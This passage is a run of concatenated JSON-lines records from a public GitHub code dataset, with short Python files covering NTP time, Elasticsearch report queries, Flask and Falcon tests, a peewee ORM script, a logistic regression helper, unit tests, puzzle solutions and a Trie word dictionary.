try:\n resp = self.__Connection.request(ntp_name, version=3)\n return resp.tx_time\n except ntplib.NTPException:\n continue\n except Exception:\n continue\n return None\n\n\nif __name__ == '__main__':\n ntp = NTPPerformance()\n print(ntp.get_utc())\n print(time.time())\n\n","repo_name":"pandrey76/WindowsRemoteManeger","sub_path":"Common/NTP_Performance.py","file_name":"NTP_Performance.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"21492328200","text":"from core_management import elasticsearch_handler\nimport time\n\nes = elasticsearch_handler.ElasticsearchHandler()\n\nfacebook_profile_report_config = {\n \"facebook_profile_response_tms\": {\n \"name\": {\"type\": \"profile_information\",\n \"columns\": [{\"col_name\": \"name\", \"alias\": \"name\", \"data_type\": \"string\"},\n {\"col_name\": \"image\", \"alias\": \"image\", \"data_type\": \"string\"}], \"filters\": []},\n \"target_summary\": {\"type\": \"data_mining\",\n \"columns\": [\n {\"col_name\": \"string_attributes\", \"alias\": \"target_summary\", \"data_type\": \"string\"}],\n \"filters\": [{\"match_phrase\": {\"algorithm_type\": \"target_summary\"}}]},\n \"posts_report\": {\"type\": \"posts\",\n \"columns\": [{\"col_name\": \"emotion\", \"alias\": \"emotion\", \"data_type\": \"list\"},\n {\"col_name\": \"sentiment\", \"alias\": \"sentiment\", \"data_type\": \"list\"},\n {\"col_name\": \"categorization\", \"alias\": \"categorization\", \"data_type\": \"list\"},\n {\"col_name\": \"comments\", \"alias\": \"comments\", \"data_type\": \"list\",\n \"post_flag\": \"posts\"},\n {\"col_name\": \"reactions\", \"alias\": \"reactions\", \"data_type\": \"dict-length\",\n \"post_flag\": \"posts\"}],\n \"filters\": []},\n \"close_associates\": {\"type\": \"close_associates\",\n \"columns\": [{\"col_name\": \"score\", \"alias\": \"score\", \"data_type\": \"string\",\n \"post_flag\": \"close_associates\"},\n {\"col_name\": \"name\", \"alias\": \"name\", \"data_type\": \"string\",\n \"post_flag\": \"close_associates\"},\n {\"col_name\": \"image\", \"alias\": \"image\", \"data_type\": \"string\",\n \"post_flag\": \"close_associates\"},\n ],\n \"filters\": []},\n }\n}\n\n\ndef twitter_report_data(gtr_id):\n pass\n\n\ndef query_generator(idx_type, gtr, filters_conf):\n query_body = {\n \"query\": {\n \"bool\": {\n \"must\": [\n {\n \"match_phrase\": {\n \"_type\": idx_type\n }\n },\n {\n \"match_phrase\": {\n \"GTR\": gtr\n }\n }\n ]\n }\n\n }, \"size\": 100}\n\n for filter in filters_conf:\n query_body[\"query\"][\"bool\"][\"must\"].append(filter)\n\n return query_body\n\n\ndef query_executer(cols_config, index_name, query, idx_type):\n res_data = dict()\n while True:\n try:\n res = es.es.search(index=index_name, body=query)\n # print('res', res)\n break\n except Exception as ex:\n print(\"issue: \", ex)\n time.sleep(2)\n\n obj = None if len(res.get(\"hits\", {}).get(\"hits\", [{}])) <= 0 else res.get(\"hits\", {}).get(\"hits\", [{}])[0].get(\n \"_source\", None)\n if obj is not None:\n for col in cols_config:\n if col.get(\"post_flag\", False):\n res_data[col[\"alias\"]] = obj.get(col.get(\"post_flag\")).get(col[\"col_name\"])\n else:\n res_data[col[\"alias\"]] = obj.get(col[\"col_name\"])\n if isinstance(res_data[col[\"alias\"]], list):\n res_data[col[\"alias\"]] = res_data[col[\"alias\"]][:3]\n\n else:\n return obj\n return res_data\n\n\nif __name__ == \"__main__\":\n index_name = \"facebook_profile_response_tms\"\n gtr = \"5feb1519da0a01c6c00ef5e4\"\n response_obj = {}\n try:\n for data_conf in facebook_profile_report_config.get(index_name):\n data_obj = facebook_profile_report_config.get(index_name)\n idx_type = data_obj.get(data_conf).get(\"type\")\n query = query_generator(idx_type, gtr, data_obj.get(data_conf).get(\"filters\"))\n res = query_executer(data_obj.get(data_conf).get(\"columns\"), index_name, query, idx_type)\n response_obj[data_conf] = res\n print(response_obj)\n except Exception as error:\n print(error)\n","repo_name":"mazhrik/osint","sub_path":"report_management/report_generator.py","file_name":"report_generator.py","file_ext":"py","file_size_in_byte":4421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23410951869","text":"# -*- coding: utf-8 -*-\n\nimport time\nfrom multiprocessing import Process\n\nfrom flask import Flask\n\nfrom datacanvas.dataset import DataSet\n\n\ndef test_json_http():\n msg = '{ \"hello\": \"world\" }'\n\n app = Flask('app')\n\n @app.route('/')\n def hello():\n return msg\n\n p = Process(target=lambda: app.run())\n p.start()\n time.sleep(1)\n if not p.is_alive():\n assert False\n\n url = 'http://localhost:5000'\n i = DataSet(url=url, format='json')\n content_read = i.get_raw()\n assert content_read['hello'] == 'world'\n p.terminate()\n","repo_name":"DataCanvasIO/pyDataCanvas","sub_path":"tests/dataset/scheme/test_http.py","file_name":"test_http.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"19927288708","text":"import os\nimport base64\nimport falcon\nfrom falcon import testing\nfrom prediction_app import app, predict\n\n\nclass PredictionAppTest(testing.TestCase):\n def setUp(self):\n super(PredictionAppTest, self).setUp()\n self.app = app.api\n with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'data/four_test.png'), 'rb') as f:\n self.files = {'image': base64.b64encode(f.read()).decode('utf-8')}\n self.image = os.path.join(os.path.dirname(\n os.path.abspath(__file__)), 'data/four_test.png')\n\n def test_image_has_right_shape(self):\n shape = (1, 28, 28, 1)\n self.assertEqual(predict.convert_image(self.image).shape, shape)\n\n def test_prediction_status_is_200(self):\n \"\"\"Test that the status code 200 is returned for get.\"\"\"\n response = self.simulate_get('/predict')\n self.assertEqual(response.status, falcon.HTTP_OK)\n\n def test_prediction_are_correct(self):\n \"\"\"Test that the right prediction is returned.\"\"\"\n prediction = {u'prediction': '4'}\n response = self.simulate_post('/predict', json=self.files)\n self.assertEqual(response.json, prediction)\n","repo_name":"idealo/falcon-prediction-app","sub_path":"src/tests/test_predict.py","file_name":"test_predict.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"11"} +{"seq_id":"20158348954","text":"import numpy as np\nfrom pprint import pprint\n\nfrom field import FieldCategory as FC\n\nprof_file = open('prof.txt', 'r')\nclean_file = open('substitutions.txt', 'r')\n\nENTRY_COLUMNS = ['id', 'name', 'university', 'phd', 'gender', 'type', 'joinyear', 'field']\nFIELD_GROUP = {\n 'Algorithms & Theory': FC.Theory,\n 'Programming Languages': FC.Theory,\n 'Artificial Intelligence': FC.AI,\n 'Computer Vision': FC.AI,\n 'Data Mining': FC.AI,\n 'Machine Learning & Pattern Recognition': FC.AI,\n 'Natural Language & Speech': FC.AI,\n 'Databases': FC.Systems,\n 'Distributed & Parallel Computing': FC.Systems,\n 'Hardware & Architecture': FC.Systems,\n 'Networks & Communications': FC.Systems,\n 'Operating Systems': FC.Systems,\n 'Real-Time & Embedded Systems': FC.Systems,\n 'Software Engineering': FC.Systems\n}\n\nsub_map = dict()\n\n# initialize substitutions\nfor sub in clean_file:\n if '#' in sub:\n continue\n\n sub = sub.rstrip()\n vals = sub.split(',')\n sub_map[vals[0]] = vals[1]\n\n\nclass Entry(object):\n\n def __init__(self, entry_string):\n values = entry_string.split(',')\n values = [(sub_map[x] if x in sub_map else x) for x in values]\n if len(values) != 8:\n raise Exception('entry error')\n entry_dict = dict(zip(ENTRY_COLUMNS, values))\n self.__dict__.update(entry_dict)\n\n# Initialize raw professor data\nprof_entries = []\nfor prof in prof_file:\n if '#' in prof:\n continue\n\n prof = prof.rstrip()\n prof_entry = Entry(prof)\n prof_entries.append(prof_entry)\n\n\ndef generate_schools_list():\n schools = set()\n top_schools = dict()\n for prof_entry in prof_entries:\n if prof_entry.university:\n schools.add(prof_entry.university)\n\n if prof_entry.university in top_schools:\n top_schools[prof_entry.university] += 1\n else:\n top_schools[prof_entry.university] = 1\n\n if prof_entry.phd:\n schools.add(prof_entry.phd)\n\n top_schools_list = [school for school in top_schools if top_schools[school] > 0]\n\n # Sort by number of professors in the database\n top_schools_list = sorted(top_schools_list, key=lambda school: top_schools[school], reverse=True)\n\n return top_schools_list\n\ndef generate_graph(field_filter=None):\n top_school_map = dict()\n top_schools = generate_schools_list()\n\n fields = dict()\n for idx in range(len(top_schools)):\n top_school_map[top_schools[idx]] = idx\n\n num_schools = len(top_school_map)\n adjacency = [[0 for _ in top_school_map] for _ in top_school_map]\n\n for prof_entry in prof_entries:\n if (prof_entry.phd in top_school_map and prof_entry.university in top_school_map\n and prof_entry.phd != prof_entry.university):\n\n if field_filter is None or (prof_entry.field in FIELD_GROUP and\n FIELD_GROUP[prof_entry.field] == field_filter):\n # add edge weight from uni towards phd\n adjacency[top_school_map[prof_entry.university]][top_school_map[prof_entry.phd]] += 1\n\n output = ','.join(top_schools) + '\\n'\n output += '\\n'.join([','.join([str(x) for x in row]) for row in adjacency])\n\n adj_file = open('adj.txt', 'w')\n adj_file.write(output)\n adj_file.close()\n return (top_schools, adjacency)\n\ngenerate_schools_list()\ngenerate_graph()","repo_name":"davidkzeng/cs-rank","sub_path":"build_markov.py","file_name":"build_markov.py","file_ext":"py","file_size_in_byte":3161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"44291971778","text":"import sys\ninput = sys.stdin.readline\nprint = sys.stdout.write\n\ns = input().rstrip()\ndp = [[0] * 26 for _ in range(len(s) + 1)]\n\nfor i in range(len(s)):\n for j in range(26):\n dp[i + 1][j] = dp[i][j]\n _ascii = ord(s[i]) - 97\n dp[i + 1][_ascii] = dp[i][_ascii] + 1\n\nN = int(input())\n\nfor _ in range(N):\n c, s, e = input().split()\n s, e = int(s), int(e)\n _ascii = ord(c) - 97\n print(str(dp[e + 1][_ascii] - dp[s][_ascii]) + '\\n')\n","repo_name":"mangchhe/algorithm","sub_path":"tmp/boj/16139_인간-컴퓨터 상호작용.py","file_name":"16139_인간-컴퓨터 상호작용.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20134055655","text":"'''\nI failed to use peewee as ORE to access some table of the DB\nsince when using foregin key referring to another table, the extra Column\nname of the column will be created and fail to access the Table\ne.g. officeCode from table Employees could be changed to officeCode.officeCode\n\nTo prevent this, usin library mysql.connector\nbut need to prevent SQL injection\n\n'''\n\nfrom peewee import * \n#from playhouse.pool import *\nimport json\nimport traceback\n#from playhouse.shortcuts import model_to_dict, dict_to_model\n\n\ndb_name = 'classicmodels'\ndb_username = 'root'\ndb_password = ''\ndb_port = 3306\n\ndb = MySQLDatabase(db_name, user=db_username, passwd=db_password, port=db_port)\ndb.connect()\n\n\nclass BaseModel(Model):\n class Meta:\n database = db\n\nclass Offices(BaseModel):\n officeCode = CharField(primary_key=True)\n city = CharField(50)\n phone = CharField(50)\n addressLine1 = CharField(50)\n addressLine2 = CharField(50)\n state = CharField(50)\n country = CharField(50)\n postalCode = CharField(15)\n territory = CharField(10)\n\nclass Employees(BaseModel):\n employeeNumber = PrimaryKeyField()\n lastName = CharField(50)\n firstName = CharField(50)\n extension = CharField(10)\n email = CharField(100)\n officeCode = ForeignKeyField(Offices)\n reportsTo = IntegerField()\n jobTitle = CharField(50)\n\nclass Customers(BaseModel):\n customerNumber = PrimaryKeyField()\n customerName = CharField(50)\n contactLastName = CharField(50)\n contactFirstName= CharField(50)\n phone = CharField(50)\n addressLine1 = CharField(50)\n addressLine2 = CharField(50)\n city = CharField(50)\n state = CharField(50)\n postalCode = CharField(15)\n country = CharField(50)\n salesRepEmployeeNumber = ForeignKeyField(Employees)\n creditLimit = DecimalField()\n\n\n\n# def initialize_database():\n# ###################### Composulory to be run when initialize the Database #######################\n# log.info(f'initialize_database')\n# db.create_tables([Record]) # create tables in DB if not exist\n# log.info(f\"[Success] Tables created\")\n\ndef get_office():\n find = Offices.select().where(Offices.city=='San Francisco')\n if len(find) == 1:\n postalCode = find[0].postalCode\n else:\n postalCode = \"NOT FOUND\"\n #raise ValueError(f\"The city NOT exist\")\n return postalCode\n\ndef get_office2():\n find = Offices.select().order_by(Offices.postalCode)\n office_list = []\n if len(find) > 0:\n for i in find:\n print(f\"i:{i}\")\n office = {\n 'postalCode':i.postalCode,\n 'officeCode':i.officeCode\n }\n office_list.append(office)\n \n return office_list\n\n\ndef get_customers(lastname,firstname):\n # return customer list with parameters firstname and lastname\n # return empty list if there is no matching records \n # params - firstname:Schmitt, lastname:Carine\n # return \n find = Customers.select().where(Customers.contactLastName==lastname,Customers.contactFirstName==firstname).order_by(Customers.creditLimit)\n customers_list = []\n if len(find) > 0:\n for i in find:\n print(f\"i:{i}\")\n customer_dict = {\n 'customerNumber':i.customerNumber,\n 'customerName':i.customerName,\n 'contactLastName':i.contactLastName,\n 'contactFirstName':i.contactFirstName,\n 'phone':i.phone,\n 'addressLine1':i.addressLine1,\n 'addressLine2':i.addressLine2,\n 'city':i.city,\n 'state':i.state,\n 'postalCode':i.postalCode,\n 'country':i.country,\n #'salesRepEmployeeNumber':i.salesRepEmployeeNumber.employeeNumberd,\n 'creditLimit': i.creditLimit\n }\n customers_list.append(customer_dict)\n \n return customers_list\n\n\n\n'''\ndef create_record(data):\n log.info(f\"DB.create_record: data - {data}\")\n record = Record.create(Device_ID=data[\"device_id\"],\n Firstname=data[\"firstname\"], \n Lastname=data[\"lastname\"], \n Gender=data[\"gender\"], \n Birthday=data[\"birthday\"], \n Weight=data[\"weight\"], \n Height=data[\"height\"], \n Keto_Level=data[\"keto_level\"], \n Start_Date=data[\"start_date\"], \n Test_Date=data[\"test_date\"], \n Test_Time=data[\"test_time\"], \n Remark=data[\"remark\"]\n )\n log.warning(f\"record.R_ID: {record.R_ID}\")\n\n\ndef get_records():\n log.info(f\"DB.get_records\")\n result = []\n query = Record.select()\n for i in query:\n item = {}\n item[\"record_id\"] = i.R_ID\n item[\"device_id\"] = i.Device_ID\n item[\"firstname\"] = i.Firstname\n item[\"lastname\"] = i.Lastname\n item[\"gender\"] = i.Gender\n item[\"birthday\"] = i.Birthday\n item[\"weight\"] = i.Weight\n item[\"height\"] = i.Height\n item[\"keto_level\"] = i.Keto_Level\n item[\"start_date\"] = i.Start_Date\n item[\"test_date\"] = i.Test_Date\n item[\"test_time\"] = i.Test_Time\n item[\"remark\"] = i.Remark\n result.append(item)\n \n return result\n'''\n\n\nif __name__==\"__main__\":\n \n print(f\"get_customers: {get_customers('Schmitt','Carine')}\")\n #pass\n\n# CREATE DATABASE keto CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;","repo_name":"Rogerlaulau/simple-web-server-with-database","sub_path":"data_access.py","file_name":"data_access.py","file_ext":"py","file_size_in_byte":5649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72545533466","text":"from bs4 import BeautifulSoup\nimport requests\n\n\nurl = \"https://book.naver.com/bestsell/bestseller_list.nhn\"\nstr = requests.get(url)\nprint(str.text)\n\nsoup = BeautifulSoup(str.text, 'html.parser')\n\nall_dt_book_title = soup.find_all('dt', id=\"book_title_0\")\nfor tmp in all_dt_book_title:\n print(tmp.find(\"a\").text)","repo_name":"Gabriel-817/Crawling","sub_path":"Crawling12/Crawling/python_0114/practice04.py","file_name":"practice04.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"14563331963","text":"# first transform then reduction\nnums = [1, 2, 3, 4, 5, 6]\ns = sum(x * x for x in nums)\nprint(s)\n\n\ndef getanodd():\n for i in range(100):\n if i % 2 == 0:\n yield i\n\n\nprint(list(getanodd()))\n","repo_name":"xdz123456/python_pythonCookBook","sub_path":"Chapter1_Data_structure/18_transformReducingData.py","file_name":"18_transformReducingData.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"35193170519","text":"class Solution(object):\n def isValid(self, s):\n \"\"\"\n :type s: str\n :rtype: bool\n \"\"\"\n parentheseMap = {\")\": \"(\", \"]\": \"[\", \"}\": \"{\"}\n openningP = parentheseMap.values()\n # stack using list\n stack = []\n for i, c in enumerate(s):\n if len(stack) == 0 or c in openningP:\n stack.append(c)\n if c in parentheseMap:\n if stack[-1] == parentheseMap[c]:\n stack.pop()\n else:\n return False\n \n if len(stack) == 0:\n return True\n return False","repo_name":"liang-bruce/NeetCodePractice","sub_path":"4 - Stack/20. Valid Parentheses.py","file_name":"20. Valid Parentheses.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"7112914286","text":"import json\n\ndump_directory = \"proxy-direct-dump\"\n\ndef proc(p):\n d = p.copy()\n for req_id in d:\n del d[req_id]['timestamp_1']\n del d[req_id]['timestamp_2']\n return d\n\nf = open(\"data/dishonor_direct.json\")\ndishonor_direct = json.load(f)\ndishonor_direct_c = proc(dishonor_direct)\n\nwith open(\"{}/dishonor_direct.json\".format(dump_directory), \"w\") as ouf:\n json.dump(dishonor_direct_c, fp=ouf)\n\nf = open(\"data/dishonor_proxy.json\")\ndishonor_proxy = json.load(f)\ndishonor_proxy_c = proc(dishonor_proxy)\n\nwith open(\"{}/dishonor_proxy.json\".format(dump_directory), \"w\") as ouf:\n json.dump(dishonor_proxy_c, fp=ouf)\n\nf = open(\"data/honor_proxy.json\")\nhonor_proxy = json.load(f)\nhonor_proxy_c = proc(honor_proxy)\n\nwith open(\"{}/honor_proxy.json\".format(dump_directory), \"w\") as ouf:\n json.dump(honor_proxy_c, fp=ouf)\n\nf = open(\"data/honor_direct.json\")\nhonor_direct = json.load(f)\nhonor_direct_c = proc(honor_direct)\n\nwith open(\"{}/honor_direct.json\".format(dump_directory), \"w\") as ouf:\n json.dump(honor_direct_c, fp=ouf)\n\n","repo_name":"Protick666/proxyrack","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"35113035512","text":"import os\nimport unittest\n\nfrom libyang import Context\nfrom libyang.schema import Module\nfrom libyang.schema import SRpc\nfrom libyang.util import LibyangError\n\n\nYANG_DIR = os.path.join(os.path.dirname(__file__), 'yang')\n\n\n#------------------------------------------------------------------------------\nclass ContextTest(unittest.TestCase):\n\n def test_ctx_no_dir(self):\n with Context() as ctx:\n self.assertIsNot(ctx, None)\n\n def test_ctx_dir(self):\n with Context(YANG_DIR) as ctx:\n self.assertIsNot(ctx, None)\n\n def test_ctx_invalid_dir(self):\n with Context('/does/not/exist') as ctx:\n self.assertIsNot(ctx, None)\n\n def test_ctx_missing_dir(self):\n with Context(os.path.join(YANG_DIR, 'yolo')) as ctx:\n self.assertIsNot(ctx, None)\n with self.assertRaises(LibyangError):\n ctx.load_module('yolo-system')\n\n def test_ctx_env_search_dir(self):\n try:\n os.environ['YANGPATH'] = ':'.join([\n os.path.join(YANG_DIR, 'omg'),\n os.path.join(YANG_DIR, 'wtf'),\n ])\n with Context(os.path.join(YANG_DIR, 'yolo')) as ctx:\n mod = ctx.load_module('yolo-system')\n self.assertIsInstance(mod, Module)\n finally:\n del os.environ['YANGPATH']\n\n def test_ctx_load_module(self):\n with Context(YANG_DIR) as ctx:\n mod = ctx.load_module('yolo-system')\n self.assertIsInstance(mod, Module)\n\n def test_ctx_get_module(self):\n with Context(YANG_DIR) as ctx:\n ctx.load_module('yolo-system')\n mod = ctx.get_module('wtf-types')\n self.assertIsInstance(mod, Module)\n\n def test_ctx_get_invalid_module(self):\n with Context(YANG_DIR) as ctx:\n ctx.load_module('wtf-types')\n with self.assertRaises(LibyangError):\n ctx.get_module('yolo-system')\n\n def test_ctx_load_invalid_module(self):\n with Context(YANG_DIR) as ctx:\n with self.assertRaises(LibyangError):\n ctx.load_module('invalid-module')\n\n def test_ctx_find_path(self):\n with Context(YANG_DIR) as ctx:\n ctx.load_module('yolo-system')\n node = next(ctx.find_path('/yolo-system:format-disk'))\n self.assertIsInstance(node, SRpc)\n\n def test_ctx_iter_modules(self):\n with Context(YANG_DIR) as ctx:\n ctx.load_module('yolo-system')\n modules = list(iter(ctx))\n self.assertGreater(len(modules), 0)\n","repo_name":"rjarry/libyang-cffi","sub_path":"tests/test_context.py","file_name":"test_context.py","file_ext":"py","file_size_in_byte":2573,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"24315935035","text":"import numpy as np\n\nfrom sklearn import linear_model, preprocessing\nfrom sklearn.linear_model import LogisticRegression\n# from sklearn.preprocessing import StandardScaler\n\nclass Logistic():\n\n def __init__(self):\n\n self.regression = LogisticRegression()\n # self._scaler = StandardScaler()\n\n def predict(self, samples):\n\n # data = self._scaler.transform(samples)\n result = self.regression.predict_proba(samples)\n predictions = np.argmax(result, axis=1)\n\n return predictions\n\n def score(self, samples):\n\n # data = self._scaler.transform(samples)\n result = self.regression.predict_proba(samples)\n\n return result[:, 0]\n\n def train(self, trus, fals, s_null=True):\n\n data, labels = self._clean_data(trus, fals, s_null)\n\n # fit regression\n self.regression.fit(data, labels)\n\n def _clean_data(self, trus, fals, s_null):\n # remove outliers\n trus_filtered = self._keep_percentile(trus, s_null)\n fals_filtered = self._keep_percentile(fals, s_null)\n\n # balance out\n ra = np.arange(len(fals_filtered))\n ra = np.random.permutation(ra)\n fals_fil_rand = fals_filtered[ra[:len(trus_filtered)]]\n\n # combine\n data = np.concatenate([trus_filtered, fals_fil_rand])\n labels = np.concatenate(\n [np.ones(len(trus_filtered)), -np.ones(len(fals_fil_rand))])\n\n # randomize\n seed = np.random.permutation(np.arange(len(data)))\n rand_data = data[seed]\n rand_labels = labels[seed]\n\n return rand_data, rand_labels\n\n def _keep_percentile(self, scores, s_null, percentile=0.99):\n\n def range_bool(min_max, scores):\n return np.asarray([s > min_max[0] and s < min_max[1]\n for s in scores])\n\n remove_percentile = (1 - percentile) / 2 * 100\n\n ans_scs_range = [np.percentile(scores[:, 0], remove_percentile),\n np.percentile(scores[:, 0], 100 - remove_percentile)]\n\n bert_scs_range = [np.percentile(scores[:, 1], remove_percentile),\n np.percentile(scores[:, 1], 100 - remove_percentile)]\n\n ans_scs_bool = range_bool(ans_scs_range, scores[:, 0])\n bert_scs_bool = range_bool(bert_scs_range, scores[:, 1])\n\n inside_range = np.logical_and(\n ans_scs_bool, bert_scs_bool)\n\n if s_null:\n bert_null_range = [np.percentile(scores[:, 2], remove_percentile),\n np.percentile(scores[:, 2],\n 100 - remove_percentile)]\n\n bert_null_bool = range_bool(bert_null_range, scores[:, 2])\n\n inside_range = np.logical_and(inside_range, bert_null_bool)\n\n return scores[inside_range]\n","repo_name":"Reton2/bert-goggles","sub_path":"logistic.py","file_name":"logistic.py","file_ext":"py","file_size_in_byte":2803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19988795560","text":"import os\nfrom unittest.mock import ANY, MagicMock, patch\nfrom urllib.request import Request\n\nfrom chunk_download_gradio import download_chunk, download_file, interface, select_folder\n\n\ndef test_download_chunk():\n # Создаем фиктивный объект response с нужными атрибутами и методами\n response = MagicMock()\n response.read.side_effect = [b'test', b'']\n # Создаем фиктивный объект urlopen, который возвращает наш фиктивный объект response\n urlopen_mock = MagicMock(return_value=response)\n # Создаем фиктивный объект pbar с нужными атрибутами и методами\n pbar = MagicMock()\n # Используем библиотеку unittest.mock для подмены настоящих функций на фиктивные\n with patch('urllib.request.urlopen', urlopen_mock):\n download_chunk(0, 3, 'http://test.com', pbar)\n # Проверяем, что метод urlopen был вызван с правильными аргументами\n urlopen_mock.assert_called_once_with(Request('http://test.com', headers={'Range': 'bytes=0-3'}))\n # Проверяем, что метод update у объекта pbar был вызван с правильными аргументами\n pbar.update.assert_called_once_with(4)\n # Проверяем, что файл был создан и содержит правильные данные\n with open('chunk_0_3', 'rb') as f:\n assert f.read() == b'test'\n # Удаляем временный файл\n os.remove('chunk_0_3')\n\n\ndef test_download_file():\n # Создаем фиктивные объекты для имитации работы функций download_chunk и urlopen\n download_chunk_mock = MagicMock()\n response_mock = MagicMock(headers={'Content-Length': '100'})\n urlopen_mock = MagicMock(return_value=response_mock)\n # Используем библиотеку unittest.mock для подмены настоящих функций на фиктивные\n with patch('urllib.request.urlopen', urlopen_mock), patch('download_chunk', download_chunk_mock):\n download_file('http://test.com', 4, '/tmp')\n # Проверяем, что метод urlopen был вызван с правильными аргументами\n urlopen_mock.assert_called_once_with(Request('http://test.com', method='HEAD'))\n # Проверяем, что функция download_chunk была вызвана нужное количество раз с правильными аргументами\n assert download_chunk_mock.call_count == 4\n download_chunk_mock.assert_any_call(0, 24, 'http://test.com', ANY)\n download_chunk_mock.assert_any_call(25, 49, 'http://test.com', ANY)\n download_chunk_mock.assert_any_call(50, 74, 'http://test.com', ANY)\n download_chunk_mock.assert_any_call(75, 99, 'http://test.com', ANY)\n\n\ndef test_select_folder():\n # Создаем фиктивный объект для имитации работы функции askdirectory\n askdirectory_mock = MagicMock(return_value='/tmp')\n # Используем библиотеку unittest.mock для подмены настоящей функции на фиктивную\n with patch('tkinter.filedialog.askdirectory', askdirectory_mock):\n result = select_folder()\n # Проверяем, что функция select_folder возвращает правильный результат\n assert result == '/tmp'\n\n\ndef test_interface():\n # Создаем фиктивные объекты для имитации работы функций download_file и open_folder\n download_file_mock = MagicMock()\n open_folder_mock = MagicMock()\n # Используем библиотеку unittest.mock для подмены настоящих функций на фиктивные\n with patch('download_file', download_file_mock), patch('open_folder', open_folder_mock):\n interface('http://test.com', 4, '/tmp')\n # Проверяем, что функция download_file была вызвана с правильными аргументами\n download_file_mock.assert_called_once_with('http://test.com', 4, '/tmp')","repo_name":"mahesvaraa/gradio_downloader","sub_path":"unit_tests/test_chunk_download.py","file_name":"test_chunk_download.py","file_ext":"py","file_size_in_byte":4328,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71033690269","text":"with open(\"input.txt\", \"r\") as input_file:\n lines = input_file.readlines()\n answer = 0\n for line in lines:\n first_range, second_range = line.strip().split(\",\")\n a, b = map(int, first_range.split(\"-\"))\n c, d = map(int, second_range.split(\"-\"))\n if a <= c <= b or c <= a <= d:\n answer += 1\n print(answer)\n","repo_name":"daryll-ko/advent-of-code-2022","sub_path":"04b.py","file_name":"04b.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25388838931","text":"\"\"\"\nDesign a data structure that supports the following two operations: addWord(word) and search(word)\n\nsearch(word) can search a literal word or a regular expression string containing only letters a-z or ..\n\nA . means it can represent any one letter.\n\n Notice\n\nYou may assume that all words are consist of lowercase letters a-z.\n\nHave you met this question in a real interview? Yes\nExample\naddWord(\"bad\")\naddWord(\"dad\")\naddWord(\"mad\")\nsearch(\"pad\") // return false\nsearch(\"bad\") // return true\nsearch(\".ad\") // return true\nsearch(\"b..\") // return true\n\"\"\"\n\n# ============== Trie ================\n# Time: addWord: O(len(word)), search: O(tree size)\n# Space: O(n)\nclass TrieNode(object):\n def __init__(self, c=None):\n self.c = c\n self.has_word=False\n self.d = {}\n\nclass WordDictionary:\n # initialize your data structure here.\n def __init__(self):\n # Write your code here\n self.root = TrieNode()\n\n\n # @param {string} word\n # @return {void}\n # Adds a word into the data structure.\n def addWord(self, word):\n # Write your code here\n if not word:\n return\n \n cur_node = self.root\n for c in word:\n if c not in cur_node.d:\n cur_node.d[c] = TrieNode(c)\n cur_node = cur_node.d[c]\n cur_node.has_word = True\n\n\n # @param {string} word\n # @return {boolean}\n # Returns if the word is in the data structure. A word could\n # contain the dot character '.' to represent any one letter.\n def search(self, word):\n # Write your code here\n return self.__search(word, 0, self.root)\n \n def __search(self, word, cur_word_idx, cur_node):\n for idx in xrange(cur_word_idx, len(word)):\n c = word[idx]\n if c in cur_node.d:\n cur_node = cur_node.d[c]\n elif c == '.':\n for node in cur_node.d.values():\n if self.__search(word, idx + 1, node):\n return True\n \n return False\n \n else:\n return False\n \n return cur_node.has_word\n \n \n \n \n\n\n# Your WordDictionary object will be instantiated and called as such:\n# wordDictionary = WordDictionary()\n# wordDictionary.addWord(\"word\")\n# wordDictionary.search(\"pattern\")\n","repo_name":"HotsauceLee/Leetcode","sub_path":"Categories/Trie/R__L_473.Add_and_Search_Word.py","file_name":"R__L_473.Add_and_Search_Word.py","file_ext":"py","file_size_in_byte":2406,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"6144616595","text":"# filter() = creates a collection of elements from an iterable for which a fuc returns true\n# filer(func, iterable)\n\nfriends = [(\"Sasha\", 19), \n (\"Dima\", 18),\n (\"Dusya\", 17),\n (\"DAnila\", 20),\n (\"Skott\", 16)]\n\ncheck_grown = lambda age: age[1] >= 18 \ncheck_kids = lambda age: age[1] < 18\n\ngrown_friends = filter(check_grown, friends)\nkid_friends = filter(check_kids, friends)\n\nfor i in kid_friends:\n print(*i)","repo_name":"kidnaped/python-course","sub_path":"functions/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"13024017128","text":"\"\"\"Tests for the IMU-only state estimator.\"\"\"\n\nimport unittest\nfrom pathlib import Path\n\nimport gtsam\nimport numpy as np\nimport numpy.testing as npt\nfrom 